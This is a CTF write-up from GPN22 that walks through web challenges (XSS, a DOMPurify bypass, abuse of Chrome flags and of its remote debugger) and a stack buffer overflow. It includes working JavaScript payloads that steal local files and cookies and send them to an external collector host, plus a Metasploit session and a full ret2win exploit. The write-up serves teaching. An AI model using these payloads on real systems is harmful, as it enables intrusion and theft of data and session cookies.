Introduction
The last few days, I was at the GPN22 in Karlsruhe with some friends from our LuXeria hackerspace. We participated in the CTF. Here are the solutions I wrote for the challenges we solved together.
So Many Flags
Description
I heard you like flags, so I launched Chrome with a lot of flags so you can get your flag!
The flag is in
/flag.txt, and the bot will visit the HTML file you uploaded!
- Category: Web
Analysis
There is a file upload form:

Google Chrome is started with numerous flags and the uploaded file:
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${filePath}"`;
The following flags are included, which disable the same origin policy and allow local file access:
--disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
It’s therefore possible to read files from other origins, including the file:// URI scheme for local files.
Solution
Upload a HTML file which reads the local file:
<script>
async function getFlag(){
response = await fetch("file:///flag.txt");
flag = await response.text();
fetch("https://lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com/", { method: "POST", body: flag})
};
getFlag();
</script>
The server will read the flag and send it to the external system:
POST / HTTP/1.1
Host: lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com
[...]
GPNCTF{CL1_FL4G5_4R3_FL4G5_T00}
Even more flags
Description
I heard you like flags, so I launched Chrome with a lot of flags again so you can get your flag!
This time the flag is
localhost:1337/flag, and the bot will visit your URL!
- Category: Web
Analysis
Similar challenge as So many flags, but this time, the flag is served on http://localhost:1337/flag and an URL instead of a file can be provided to the server which will then be opened by a Chrome browser:

Google Chrome is started with numerous flags and the provided URL:
const command = `bash -c "google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run ${flags} ${url}"`;
The following flags are included, which disable the same origin policy:
--disable-web-security -–allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
It’s therefore possible to read files from other origins.
Solution
Store the following HTML file on a server and provide the URL to the application:
<script>
async function getFlag(){
response = await fetch("http://localhost:1337/flag");
flag = await response.text();
fetch("https://lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com/", { method: "POST", body: flag})
};
getFlag();
</script>
The server will read the flag and send it to the external system:
POST / HTTP/1.1
Host: lk922ygynkim4zy48onzs2xaw12sqnec.oastify.com
[...]
GPNCTF{WHY_D0_50M3_0F_TH353_FL4G5_3V3N_3X15T}
todo
Description
I made a JS API! Sadly I had no time to finish it :(
- Category: Web
Analysis
There are two input fields:

The first input field reflects user input:
app.post('/chal', (req, res) => {
const { html } = req.body;
res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' 'unsafe-inline';");
res.send(`
<script src="/script.js"></script>
${html}
`);
});
The file script.js contains a pseudo-flag as a comment:
class FlagAPI {
[...]
// TODO: Make sure that this is secure before deploying
// getFlag() {
// return "GPNCTF{FAKE_FLAG_ADMINBOT_WILL_REPLACE_ME}"
// }
}
When cookie with a specific random value is set, the pseudo-flag is replaced with the real flag:
app.get('/script.js', (req, res) => {
res.type('.js');
let response = script;
if ((req.get("cookie") || "").includes(randomBytes)) response = response.replace(/GPNCTF\{.*\}/, flag)
res.send(response);
});
When a payload is submitted in the second input field, a chrome browser is started with the cookie containing the correct random value. Then, the submitted payload is typed into the first input field and a screenshot of the rendered page is shown:
app.post('/admin', async (req, res) => {
try {
const { html } = req.body;
const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
const page = await browser.newPage();
page.setCookie({ name: 'flag', value: randomBytes, domain: 'localhost', path: '/', httpOnly: true });
await page.goto('http://localhost:1337/');
await page.type('input[name="html"]', html);
await page.click('button[type="submit"]');
await new Promise(resolve => setTimeout(resolve, 2000));
const screenshot = await page.screenshot({ encoding: 'base64' });
await browser.close();
res.send(`<img src="data:image/png;base64,${screenshot}" />`);
} catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});
Solution
The first input field is vulnerable to reflected XSS:
POST /chal HTTP/1.1
Host: never-forget-you--zara-larsson-3555.ctf.kitctf.de
[...]
html=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E
HTTP/1.1 200 OK
[...]
<script src="/script.js"></script>
<img src=x onerror=alert(document.domain)>
The payload is executed:

It’s now possible to perform a redirect to the file script.js which contains the pseudo-flag:
<img src=x onerror="document.location = '/script.js'">
When this payload is used in the admin input field, the browser containing the correct cookie will also submit this payload and redirect to the script.js. Because the correct cookie is set, the flag is included in the response:

todo-hard
Description
I made a JS API! Sadly I had no time to finish it :(
But I had time to make it harder!
- Category: Web
Analysis
This is similar to the todo challenge, but this time, the flag in the response will be replaced by "nope":
app.post('/admin', async (req, res) => {
try {
const { html } = req.body;
const browser = await puppeteer.launch({ executablePath: process.env.BROWSER, args: ['--no-sandbox'] });
const page = await browser.newPage();
page.setCookie({ name: 'flag', value: randomBytes, domain: 'localhost', path: '/', httpOnly: true });
await page.goto('http://localhost:1337/');
await page.type('input[name="html"]', html);
await page.click('button[type="submit"]');
await new Promise(resolve => setTimeout(resolve, 2000));
// NEW: run JS to replace the flag with "nope"
await page.evaluate((flag) => { document.body.outerHTML = document.body.outerHTML.replace(flag, "nope") }, flag)
const screenshot = await page.screenshot({ encoding: 'base64' });
await browser.close();
res.send(`<img src="data:image/png;base64,${screenshot}" />`);
} catch(e) {console.error(e); res.send("internal error :( pls report to admins")}
});
Solution
The prototype of the replace function can be overwritten, so that another “replace” function is executed which just returns the first argument, instead of performing an actual replacement:
<script>
function Fun(a, b){ return a;};
String.prototype.replace = Fun;
</script>
The flag can then be seen in the screenshot in the response:

Refined Notes
Description
All my friends warned me about xss, so I created this note taking app that only accepts “refined” Notes.
- Category: Web
Analysis
The website has an input text field:

On submit, the user input is sanitized client-side by DOMPurify and then sent to the server:
submit.addEventListener('click', (e) => {
const purified = DOMPurify.sanitize(note.value);
fetch("/", {
method: "POST",
body: purified
}).then(response => response.text()).then((id) => {
window.history.pushState({page: ''}, id, `/${id}`);
submit.classList.add('hidden');
note.classList.add('hidden');
noteframe.classList.remove('hidden');
noteframe.srcdoc = purified;
});
});
Example:
POST / HTTP/1.1
Host: run-it--juelz-santana-7793.ctf.kitctf.de
[...]
ThisIsMyInput
HTTP/1.1 200 OK
[...]
0a9f3f23-03a6-4221-ae29-326adb83717d
The response returns a UUID for a new note. When this note is accessed, the user input is shown directly in the HTTP response in the srcdoc attribute of an iframe tag:
GET /0a9f3f23-03a6-4221-ae29-326adb83717d HTTP/1.1
Host: run-it--juelz-santana-7793.ctf.kitctf.de
[...]
HTTP/1.1 200 OK
[...]
<!DOCTYPE html>
[...]
<iframe id="noteframe" class=" bg-white w-full px-3 py-2 border rounded-md h-60" srcdoc="ThisIsMyInput"></iframe>
[...]
Another endpoint accepts a note UUID which will be visited by an admin user:

Solution
The following payload could be used to read the cookie and exfiltrate it to an external system:
<img src=x onerror="fetch('https://637nljzj6517nkhpr96kbngvfmld9axz.oastify.com' + '/?flag=' + document.cookie)">
This payload is however correctly sanitized. However, it’s possible to use HTML encoded values inside the srcdoc attribute of the iframe tag. This can e.g. be converted using CyberChef:
<img src=x onerror="fetch('https://637nljzj6517nkhpr96kbngvfmld9axz.oastify.com' + '/?flag=' + document.cookie)">
Submit this payload:
POST / HTTP/1.1
Host: run-it--juelz-santana-7793.ctf.kitctf.de
[...]
<img src=x onerror="fetch('https://637nljzj6517nkhpr96kbngvfmld9axz.oastify.com' + '/?flag=' + document.cookie)">
HTTP/1.1 200 OK
[...]
a9e39bd7-e234-45ee-a2c2-bc388b58ff02
Sending this UUID to the admin to let the admin visit the prepared note containing the XSS payload. When the admin visits this page, a request will be sent to the server containing the cookie which is the flag:
GET /?flag=flag=GPNCTF%7B3nc0d1ng_1s_th3_r00t_0f_4ll_3v1l%7D HTTP/1.1
Host: 637nljzj6517nkhpr96kbngvfmld9axz.oastify.com
[...]
Resources
Inspect Element
Description
Maybe using Inspect Element will help you!
Small hint: If you’re struggling with reproducing it on remote, you can use
socatto proxy the remote instance tolocalhost:1337like this:socat TCP-LISTEN:1337,fork OPENSSL:xxx--xxx-1234.ctf.kitctf.de:443and it should behave exactly like a locally running docker container.
- Category: Web
Analysis
The server starts a Chrome process with the remote debugging port exposed:
socat tcp-listen:1337,fork tcp:localhost:13370 & \
google-chrome --remote-debugging-port=13370 --disable-gpu --headless=new --no-sandbox google.com
Solution
Forward a local port to the exposed debugging port (to have the port available via TCP and not only TLS):
socat TCP-LISTEN:1337,fork OPENSSL:how-deep-is-your-love--disciples-2841.ctf.kitctf.de:443
Use metasploit to read files via the exposed debugging port and get the flag:
msf6 > use auxiliary/gather/chrome_debugger
msf6 auxiliary(gather/chrome_debugger) > set FILEPATH /flag
msf6 auxiliary(gather/chrome_debugger) > set RHOSTS 127.0.0.1
msf6 auxiliary(gather/chrome_debugger) > set RPORT 1337
msf6 auxiliary(gather/chrome_debugger) > run
[*] Running module against 127.0.0.1
[*] Attempting Connection to ws://127.0.0.1:1337/devtools/page/67C7888B105174679C2317632CA196A6
[*] Opened connection
[*] Attempting to load url file:///flag
[*] Received Data
[*] Sending request for data
[*] Received Data
[+] Stored file:///flag at /home/emanuel/.msf4/loot/20240601211048_default_127.0.0.1_chrome.debugger._933372.txt
[*] Auxiliary module execution completed
msf6 auxiliary(gather/chrome_debugger) > exit
$ cat /home/emanuel/.msf4/loot/20240601211341_default_127.0.0.1_chrome.debugger._870365.txt
<html><head><meta name="color-scheme" content="light dark"></head><body><pre style="word-wrap: break-word; white-space: pre-wrap;">GPNCTF{D4NG3R0U5_D3BUGG3R}
</pre></body></html>
Resources
Never gonna give you UB
Description
Can you get this program to do what you want?
- Category: pwn
Analysis
Code:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void scratched_record() {
printf("Oh no, your record seems scratched :(\n");
printf("Here's a shell, maybe you can fix it:\n");
execve("/bin/sh", NULL, NULL);
}
extern char *gets(char *s);
int main() {
printf("Song rater v0.1\n-------------------\n\n");
char buf[0xff];
printf("Please enter your song:\n");
gets(buf);
printf("\"%s\" is an excellent choice!\n", buf);
return 0;
}
The goal is to overwrite the buffer buf and jump to the scratched_record function in order to start a shell and read the flag.
Solution
Start binary in GDB (gdb-peda was used to simplify some stuff):
$ gdb ./song_rater
gdb-peda$
Create a pattern:
gdb-peda$ pattern_create 400
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATA
AqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A
%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'
Start the program with the generated pattern as input and let it crash:
gdb-peda$ run < <(python -c 'print("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")')
Starting program: /home/emanuel/gpn22ctf/never-gonna-give-you-ub/song_rater < <(python -c 'print("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Song rater v0.1
-------------------
Please enter your song:
"AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y" is an excellent choice!
Program received signal SIGSEGV, Segmentation fault.
The stack pointer RSP contains an address pointing to the following string:
RSP: 0x7fffffffdac8 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
Therefore, it’s possible to control the stack pointer value. The controllable offset starts at byte 264:
gdb-peda$ pattern_offset "HA%dA%3A%IA%eA%4"
HA%dA%3A%IA%eA%4 found at offset: 264
The scratched_record function that starts a shell starts at 0x0000000000401196:
gdb-peda$ disass scratched_record
quit
Dump of assembler code for function scratched_record:
0x0000000000401196 <+0>: endbr64
0x000000000040119a <+4>: push rbp
[...]
Filling the buffer with 263 bytes of A and then the address of the scratched_record function in order to call it:
gdb-peda$ run < <(python -c 'print("A" * 263 + "\x96\x11\x40\x00\x00\x00\x00\x00")')
Starting program: /home/emanuel/gpn22ctf/never-gonna-give-you-ub/song_rater < <(python -c 'print("A" * 263 + "\x96\x11\x40\x00\x00\x00\x00\x00")')
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Song rater v0.1
-------------------
Please enter your song:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@" is an excellent choice!
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:
process 40380 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
The output shows that the shell was started.
Running the exploit against the target system to get a shell and read the flag:
$ (python -c 'print("A" * 263 + "\x96\x11\x40\x00\x00\x00\x00\x00")'; cat ) | ncat --ssl only-time--gunna-1152.ctf.kitctf.de 443
Song rater v0.1
-------------------
Please enter your song:
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@" is an excellent choice!
Oh no, your record seems scratched :(
Here's a shell, maybe you can fix it:
cat /flag
GPNCTF{G00d_n3w5!_1t_l00ks_l1ke_y0u_r3p41r3d_y0ur_disk...}
References
- GPN22: https://entropia.de/GPN22
- CTFtime event: https://ctftime.org/event/2257